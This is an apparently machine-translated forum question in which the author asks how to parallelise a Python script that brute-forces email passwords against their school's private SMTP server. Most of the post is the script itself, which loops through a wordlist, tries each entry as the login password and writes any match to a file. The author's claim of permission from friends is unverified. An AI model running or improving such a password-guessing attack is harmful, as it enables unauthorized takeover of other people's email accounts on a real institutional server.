/* Это не для чего-то незаконного, так как моя школа использует только 7 целых чисел, и я хочу посмотреть, могу ли я заставить это работать вовремя, поскольку в настоящее время мне нужно 1,59 года взломать пароль. У школы есть собственный частный сервер на месте для всех, кого это касается, и это легко обнаружить. Я сделаю это только для меня или моих друзей с их разрешения. */Параллельная вычислительная задача для грубой силы в python
Я просто хотел использовать многопроцессорную или параллельную работу, чтобы этот взломщик паролей работал в разумные сроки.
Вот моя попытка распараллеливания его
import smtplib
from concurrent.futures import ThreadPoolExecutor
def conn():
print("Got to here3")
smtpserver.connect('private_email_server', 587)
smtpserver.ehlo()
smtpserver.starttls()
print("OK going to main")
main()
def main():
for password in passwfile.readlines():
password = password.strip()
print("Go to here1")
try:
print("WELL AT LEAST WE GOT HERE")
smtpserver.login('[email protected]_email.com', password)
a = password
with open('pass.txt','w') as bc:
bc.write(a)
print ("[+] Password cracked----> %s" % password)
input()
break
except smtplib.SMTPAuthenticationError:
print("[-] Wrong --> %s" % password)
pass
except:
print("Got to here2")
conn()
if __name__ == '__main__':
passwfile = open('per.txt', 'r')
smtpserver = smtplib.SMTP()
with ThreadPoolExecutor(max_workers=3) as exe:
exe.submit(conn)
Это на самом деле работает только если пароль в первой строке его, он выводит только индикаторы я писал там как print ("Got to here3")
Он не печатает треснувшие пароль или даже записать его в текстовый файл.